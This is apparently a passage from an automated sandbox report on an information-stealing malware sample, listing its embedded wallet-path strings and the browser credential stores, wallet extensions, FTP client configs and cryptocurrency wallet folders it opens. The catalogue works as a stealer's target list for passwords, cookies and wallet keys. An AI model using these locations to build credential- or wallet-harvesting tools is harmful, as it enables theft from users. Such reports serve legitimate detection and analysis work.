Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
